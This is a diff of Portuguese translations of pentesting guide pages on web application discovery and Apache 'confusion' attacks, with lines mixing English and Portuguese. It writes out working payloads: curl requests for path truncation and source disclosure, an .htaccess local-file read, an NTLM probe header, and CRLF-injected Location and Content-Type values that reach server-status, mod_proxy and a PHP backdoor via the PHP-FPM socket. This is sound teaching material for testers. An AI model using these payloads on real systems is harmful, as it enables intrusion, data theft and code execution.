-> Neste ponto você já deve ter algumas informações sobre o servidor web sendo usado pelo cliente (se houver dados fornecidos) e alguns truques para ter em mente durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner.
+> Neste ponto você já deve ter algumas informações sobre o web server usado pelo cliente (se houver algum dado fornecido) e alguns truques para ter em mente durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner.
 
 ## Step-by-step Web Application Discovery
 
-> A partir deste ponto vamos começar a interagir com a web application.
+> A partir deste ponto vamos começar a interagir com a aplicação web.
 
 ### Initial checks
 
@@ -168,26 +167,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 
 **Forcing errors**
 
-Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
+Web servers may **se comportar de forma inesperada** quando dados estranhos são enviados para eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**.
 
-- Acesse **fake pages** como /whatever_fake.php (.aspx,.html,.etc)
-- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter values** to create errors
-- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
-- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
+- Acesse **páginas fake** como /whatever_fake.php (.aspx,.html,.etc)
+- **Adicione "\[]", "]]", and "\[\["** em **valores de cookie** e **valores de parâmetros** para criar erros
+- Gere erro dando input como **`/~randomthing/%s`** no **final** da **URL**
+- Tente **different HTTP Verbs** como PATCH, DEBUG ou verbos inválidos como FAKE
 
-#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **Verifique se você pode fazer upload de arquivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
+Se você descobrir que **WebDav** está **ativado** mas não tem permissões suficientes para **fazer upload de arquivos** na pasta root tente:
 
-- **Brute Force** credentials
-- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
+- **Brute Force** credenciais
+- **Fazer upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para enviar arquivos em outras pastas.
 
 ### **SSL/TLS vulnerabilites**
 
-- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM**
-- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability.
+- Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
+- Se a aplicação estiver **enviando dados sensíveis (senhas) usando HTTP**, então é uma vulnerabilidade alta.
 
-Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
+Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para checar por **vulnerabilidades** (em programas de Bug Bounty provavelmente esse tipo de vulnerabilidade não será aceito) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reverificar as vulnerabilidades:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -203,7 +202,7 @@ Information about SSL/TLS vulnerabilities:
 
 ### Spidering
 
-Inicie algum tipo de spider na web. O objetivo do spider é encontrar o máximo de paths possível na aplicação testada. Portanto, web crawling e fontes externas devem ser usadas para descobrir o maior número possível de paths válidos.
+Inicie algum tipo de **spider** no site. O objetivo do spider é **encontrar o maior número possível de paths** da aplicação testada. Portanto, web crawling e fontes externas devem ser usadas para descobrir o máximo de paths válidos possível.
 
 - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
@@ -235,8 +234,8 @@ Inicie algum tipo de spider na web. O objetivo do spider é encontrar o máximo
 
 ### Brute Force directories and files
 
-Comece o brute-forcing a partir da pasta root e garanta fazer brute-force em todos os directories encontrados usando este método e todos os diretórios descobertos pelo Spidering (você pode fazer esse brute-forcing recursivamente e adicionando no início da wordlist usada os nomes dos diretórios encontrados).\
-Tools:
+Comece o **brute-forcing** a partir da pasta root e certifique-se de brute-force **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer esse brute-forcing **recursivamente** e anexar no início da wordlist usada os nomes dos diretórios encontrados).\
+Ferramentas:
 
 - **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
 - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
@@ -249,7 +248,7 @@ Tools:
 - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
 - [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
 
-Recommended dictionaries:
+**Recommended dictionaries:**
 
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -268,41 +267,41 @@ Recommended dictionaries:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
+_Obs.: sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
 
 ### What to check on each file found
 
 - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
-- **File Backups**: Depois de encontrar todos os arquivos, procure por backups de arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns de nomes de backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Você também pode usar a tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
-- **Discover new parameters**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
+- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Verifique os comentários de todos os arquivos; você pode encontrar **credentials** ou **hidden functionality**.
-- Se você estiver jogando em um **CTF**, um truque comum é esconder informação dentro de comentários à direita da página (usando centenas de spaces para que você não veja os dados se abrir o source code no browser). Outra possibilidade é usar várias new lines e esconder informação em um comentário no final da página web.
-- **API keys**: Se você encontrar qualquer API key há guias que mostram como usar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
+- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
+- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
 - Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
-- **S3 Buckets**: Enquanto faz spidering, verifique se algum subdomain ou link está relacionado a algum S3 bucket. Nesse caso, [**check** the **permissions** of the bucket](buckets/index.html).
+- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
 
 ### Special findings
 
-Enquanto executar o spidering e o brute-forcing você pode encontrar coisas interessantes que precisa notar.
+**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
 
-Interesting files
+**Interesting files**
 
-- Procure por links para outros arquivos dentro dos arquivos CSS.
+- Look for **links** to other files inside the **CSS** files.
 - [If you find a _**.git**_ file some information can be extracted](git.md)
-- Se você encontrar um _**.env**_ informações tais como api keys, dbs passwords e outras informações podem ser encontradas.
-- Se você encontrar **API endpoints** você [should also test them](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
-- **JS files**: Na seção de spidering várias ferramentas que extraem paths de JS files foram mencionadas. Também seria interessante monitorar cada JS file encontrado, pois em algumas ocasiões, uma alteração pode indicar que uma potencial vulnerabilidade foi introduzida no código. Você pode usar por exemplo [**JSMon**](https://github.com/robre/jsmon)**.**
-- Você também deve verificar os JS files descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para ver se estão vulneráveis.
+- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
+- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
+- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
+- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- Em várias ocasiões, você precisará entender as regular expressions usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
-- Você também pode monitorar os arquivos onde forms foram detectados, pois uma mudança em um parâmetro ou o aparecimento de um novo form pode indicar uma nova funcionalidade potencialmente vulnerável.
+- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
+- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -313,21 +312,21 @@ Interesting files
 
 **502 Proxy Error**
 
-Se qualquer página responder com esse código, provavelmente é um proxy mal configurado. Se você enviar um HTTP request como: `GET https://google.com HTTP/1.1` (com o host header e outros headers comuns), o proxy tentará acessar _**google.com**_ e você terá encontrado um SSRF.
+If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
 
 **NTLM Authentication - Info disclosure**
 
-Se o servidor pedindo autenticação for **Windows** ou você encontrar um login pedindo suas credentials (e pedindo o domain name), você pode provocar uma information disclosure.\
-Envie o header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como o NTLM authentication funciona, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do header "WWW-Authenticate".\
-Você pode automatizar isso usando o nmap plugin "_http-ntlm-info.nse_".
+If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
+**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
+You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
 
 **HTTP Redirect (CTF)**
 
-É possível colocar conteúdo dentro de uma Redirection. Esse conteúdo não será mostrado ao usuário (já que o browser executará a redirection) mas algo pode estar escondido ali.
+It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
 
 ### Web Vulnerabilities Checking
 
-Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de checar muitas possíveis vulnerabilidades. Você pode encontrar o checklist aqui:
+Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
 
 
 {{#ref}}

src/network-services-pentesting/pentesting-web/apache.md

@@ -4,11 +4,11 @@
 
 ## Extensões PHP executáveis
 
-Verifique quais extensões o servidor Apache está executando. Para procurá-las, você pode executar:
+Verifique quais extensões o servidor Apache está executando. Para procurá-las você pode executar:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
-Além disso, alguns lugares onde você pode encontrar essa configuração são:
+Além disso, alguns lugares onde você pode encontrar esta configuração são:
 ```bash
 /etc/apache2/mods-available/php5.conf
 /etc/apache2/mods-enabled/php5.conf
@@ -23,7 +23,7 @@ Linux
 ```
 ## LFI via .htaccess ErrorDocument file provider (ap_expr)
 
-Se você consegue controlar o .htaccess de um diretório e AllowOverride inclui FileInfo para esse caminho, você pode transformar respostas 404 em leituras arbitrárias de arquivos locais usando a função ap_expr file() dentro do ErrorDocument.
+Se você consegue controlar o .htaccess de um diretório e AllowOverride inclui FileInfo para esse caminho, você pode transformar respostas 404 em leituras arbitrárias de arquivos locais usando a função ap_expr file() dentro de ErrorDocument.
 
 - Requisitos:
 - Apache 2.4 com parser de expressões (ap_expr) habilitado (padrão no 2.4).
@@ -42,26 +42,26 @@ Acione solicitando qualquer caminho inexistente abaixo desse diretório, por exe
 curl -s http://target/~user/does-not-exist | sed -n '1,20p'
 ```
 Notas e dicas:
-- Apenas caminhos absolutos funcionam. O conteúdo é retornado como o corpo da resposta do 404 handler.
+- Only absolute paths work. The content is returned as the response body for the 404 handler.
 - As permissões efetivas de leitura são as do usuário Apache (tipicamente www-data/apache). Você não conseguirá ler /root/* ou /etc/shadow em configurações padrão.
-- Mesmo que .htaccess seja de propriedade root, se o diretório pai for de propriedade do tenant e permitir renomear, você pode conseguir renomear o .htaccess original e enviar sua própria substituição via SFTP/FTP:
+- Mesmo se .htaccess for root-owned, se o diretório pai for tenant-owned e permitir rename, você pode conseguir renomear o .htaccess original e enviar seu próprio substituto via SFTP/FTP:
 - rename .htaccess .htaccess.bk
-- put your malicious .htaccess
-- Use isto para ler o código-fonte da aplicação sob DocumentRoot ou caminhos de configuração de vhost para coletar segredos (DB creds, API keys, etc.).
+- coloque seu .htaccess malicioso
+- Use isto para ler o código-fonte da aplicação sob DocumentRoot ou vhost config paths para coletar segredos (DB creds, API keys, etc.).
 
 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
 
-These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
+Esses tipos de ataques foram introduzidos e documentados [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) e o seguinte é um resumo. O ataque "confusion" basicamente abusa de como as dezenas de módulos que trabalham em conjunto criando um Apache não operam perfeitamente sincronizados, e fazer com que alguns deles modifiquem dados inesperados pode causar uma vulnerabilidade em um módulo posterior.
 
 ### Filename Confusion
 
 #### Truncation
 
-The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
+The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Mas, em outras ocasiões isso será tratado como file path, o que pode causar um problema.
 
 - **Path Truncation**
 
-It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
+É possível abusar do `mod_rewrite` como no exemplo de regra a seguir para acessar outros arquivos dentro do file system, removendo a última parte do caminho esperado adicionando simplesmente um `?`:
 ```bash
 RewriteEngine On
 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@@ -74,9 +74,9 @@ curl http://server/user/orange
 curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`
 ```
-- **Atribuição RewriteFlag enganosa**
+- **Mislead RewriteFlag Assignment**
 
-Na seguinte regra de rewrite, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termine em .php após o caractere `?` enquanto carrega no caminho um tipo de arquivo diferente (como uma imagem) com código php malicioso dentro dela:
+Na seguinte regra de reescrita, desde que a URL termine em .php ela será tratada e executada como php. Portanto, é possível enviar uma URL que termine em .php após o caractere `?` enquanto carrega no caminho um tipo diferente de arquivo (como uma imagem) com código php malicioso dentro dele:
 ```bash
 RewriteEngine On
 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
@@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
 ```
 #### **ACL Bypass**
 
-É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo quando o acesso deveria ser negado com configurações como:
+É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo que o acesso devesse ser negado com configurações como:
 ```xml
 <Files "admin.php">
 AuthType Basic
@@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
 Require valid-user
 </Files>
 ```
-Isto acontece porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php`, e como o PHP-FPM remove qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php` mesmo que a regra anterior o proibisse.
+Isso acontece porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php`; e, como o PHP-FPM remove qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php` mesmo que a regra anterior a proibisse.
 
-### Confusão no DocumentRoot
+### Confusão com DocumentRoot
 ```bash
 DocumentRoot /var/www/html
 RewriteRule  ^/html/(.*)$   /$1.html
 ```
-Um fato curioso sobre Apache é que o rewrite anterior tentará acessar o arquivo tanto a partir do documentRoot quanto a partir do root. Assim, uma requisição para `https://server/abouth.html` verificará o arquivo em `/var/www/html/about.html` e em `/about.html` no sistema de arquivos. Isso basicamente pode ser abusado para acessar arquivos no sistema de arquivos.
+Um fato curioso sobre o Apache é que o rewrite anterior tentará acessar o arquivo tanto a partir do documentRoot quanto do root. Assim, uma requisição para `https://server/abouth.html` verificará a existência do arquivo em `/var/www/html/about.html` e em `/about.html` no sistema de arquivos. Isso basicamente pode ser abusado para acessar arquivos no sistema de arquivos.
 
 #### **Divulgação de código-fonte do lado do servidor**
 
-- **Divulgar código-fonte de CGI**
+- **Divulgar código-fonte CGI**
 
-Adicionar um %3F ao final é suficiente para leak o código-fonte de um cgi module:
+Basta adicionar %3F ao final para leak o código-fonte de um módulo CGI:
 ```bash
 curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
@@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # ...
 # # the source code of download.cgi
 ```
-- **Divulgar PHP Source Code**
+- **Disclose PHP Source Code**
 
-Se um servidor possui domínios diferentes, sendo um deles um domínio estático, isso pode ser explorado para percorrer o sistema de arquivos e leak php code:
+Se um servidor tiver domínios diferentes, com um deles sendo um domínio estático, isso pode ser abusado para atravessar o sistema de arquivos e leak php code:
 ```bash
 # Leak the config.php file of the www.local domain from the static.local domain
 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
@@ -133,48 +133,48 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 ```
 #### **Local Gadgets Manipulation**
 
-O principal problema com o ataque anterior é que, por padrão, a maior parte do acesso ao sistema de arquivos será negada, como no [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
+O principal problema com o ataque anterior é que, por padrão, a maior parte do acesso ao filesystem será negada, como no Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
 ```xml
 <Directory />
 AllowOverride None
 Require all denied
 </Directory>
 ```
-No entanto, sistemas operacionais [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) por padrão permitem `/usr/share`:
+No entanto, os sistemas [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) permitem por padrão `/usr/share`:
 ```xml
 <Directory /usr/share>
 AllowOverride None
 Require all granted
 </Directory>
 ```
-Portanto, seria possível **abusar de arquivos localizados dentro de `/usr/share` nessas distribuições.**
+Therefore, it would be possible to **abusar de arquivos localizados dentro de `/usr/share` nessas distribuições.**
 
 **Local Gadget to Information Disclosure**
 
 - **Apache HTTP Server** com **websocketd** pode expor o script **dump-env.php** em **/usr/share/doc/websocketd/examples/php/**, o que pode leak variáveis de ambiente sensíveis.
-- Servidores com **Nginx** ou **Jetty** podem expor informações sensíveis da aplicação web (por exemplo, **web.xml**) através de suas raízes web padrão colocadas sob **/usr/share**:
+- Servidores com **Nginx** ou **Jetty** podem expor informações sensíveis de aplicações web (por exemplo, **web.xml**) através de suas raízes web padrão colocadas sob **/usr/share**:
 - **/usr/share/nginx/html/**
 - **/usr/share/jetty9/etc/**
 - **/usr/share/jetty9/webapps/**
 
 **Local Gadget to XSS**
 
-- No Ubuntu Desktop com **LibreOffice installed**, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a **Cross-Site Scripting (XSS)**. Manipular a URL em **/usr/share/libreoffice/help/help.html** pode redirecionar para páginas maliciosas ou versões antigas através de **unsafe RewriteRule**.
+- No Ubuntu Desktop com **LibreOffice installed**, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a **Cross-Site Scripting (XSS)**. Manipular a URL em **/usr/share/libreoffice/help/help.html** pode redirecionar para páginas maliciosas ou versões antigas por meio de **insegura RewriteRule**.
 
 **Local Gadget to LFI**
 
-- Se PHP ou certos pacotes de front-end como **JpGraph** ou **jQuery-jFeed** estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como **/etc/passwd**:
+- Se PHP ou certos pacotes front-end como **JpGraph** ou **jQuery-jFeed** estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como **/etc/passwd**:
 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
 - **/usr/share/javascript/jquery-jfeed/proxy.php**
 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
 
 **Local Gadget to SSRF**
 
-- Utilizando o **MagpieRSS's magpie_debug.php** em **/usr/share/php/magpierss/scripts/magpie_debug.php**, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo uma porta para exploits adicionais.
+- Utilizando **MagpieRSS's magpie_debug.php** em **/usr/share/php/magpierss/scripts/magpie_debug.php**, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo uma porta para explorações adicionais.
 
 **Local Gadget to RCE**
 
-- As oportunidades para Remote Code Execution (RCE) são vastas, com instalações vulneráveis como um **PHPUnit** desatualizado ou **phpLiteAdmin**. Estes podem ser explorados para executar código arbitrário, mostrando o extenso potencial da manipulação de local gadgets.
+- As oportunidades para **Remote Code Execution (RCE)** são vastas, com instalações vulneráveis como um **PHPUnit** desatualizado ou **phpLiteAdmin**. Estes podem ser explorados para executar código arbitrário, demonstrando o extenso potencial da manipulação de local gadgets.
 
 #### **Jailbreak from Local Gadgets**
 
@@ -196,11 +196,12 @@ Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is
 
 #### **Overwrite Handler to Disclose PHP Source Code**
 
-Em [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) foi apresentada uma vulnerabilidade onde um `Content-Length` incorreto enviado por um cliente pode fazer com que o Apache enganosamente **retorne o código-fonte PHP**. Isso ocorreu por causa de um problema no tratamento de erros com ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva a sobrescrever `r->content_type` para `text/html`.\ Porque ModSecurity não trata adequadamente os valores de retorno, ele retornaria o código PHP e não o interpretaria.
+In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), foi apresentada uma vulnerabilidade onde um `Content-Length` incorreto enviado por um cliente pode fazer com que o Apache, por engano, **retorne o código-fonte PHP**. Isso ocorria devido a um problema de tratamento de erros com o ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva à sobrescrita de `r->content_type` para `text/html`.\
+Porque o ModSecurity não trata corretamente os valores de retorno, ele retornaria o código PHP e não o interpretaria.
 
 #### **Overwrite Handler to XXXX**
 
-TODO: Orange ainda não divulgou esta vulnerabilidade
+TODO: Orange ainda não divulgou essa vulnerabilidade
 
 ### **Invoke Arbitrary Handlers**
 
@@ -210,7 +211,7 @@ According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specific
 
 > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
 
-Portanto, para realizar este ataque é necessário uma das seguintes vulns:
+Therefore, to perform this attack is needed one of the following vulns:
 
 - CRLF Injection in the CGI response headers
 - SSRF with complete control of the response headers
@@ -224,14 +225,14 @@ SetHandler server-status
 Require local
 </Location>
 ```
-É possível acessá-lo definindo o `Content-Type` como `server-status` e o Location header começando com `/`
+É possível acessá-lo definindo o `Content-Type` para `server-status` e o cabeçalho Location começando com `/`
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
 Content-Type:server-status %0d%0a
 %0d%0a
 ```
-#### **Manipulador Arbitrário para Full SSRF**
+#### **Manipulador Arbitrário para SSRF Completo**
 
 Redirecionando para `mod_proxy` para acessar qualquer protocolo em qualquer URL:
 ```
@@ -242,20 +243,20 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-No entanto, o cabeçalho `X-Forwarded-For` é adicionado, impedindo o acesso aos endpoints de metadados da cloud.
+No entanto, o cabeçalho `X-Forwarded-For` é adicionado, impedindo o acesso aos endpoints de metadados da nuvem.
 
-#### **Handler Arbitrário para Acessar o Unix Domain Socket Local**
+#### **Manipulador Arbitrário para Acessar o Socket de Domínio Unix Local**
 
-Acesse o Unix Domain Socket local do PHP-FPM para executar um PHP backdoor localizado em `/tmp/`:
+Acesse o Unix Domain Socket local do PHP-FPM para executar uma backdoor PHP localizada em `/tmp/`:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
 %0d%0a
 ```
-#### **Arbitrary Handler to RCE**
+#### **Handler Arbitrário para RCE**
 
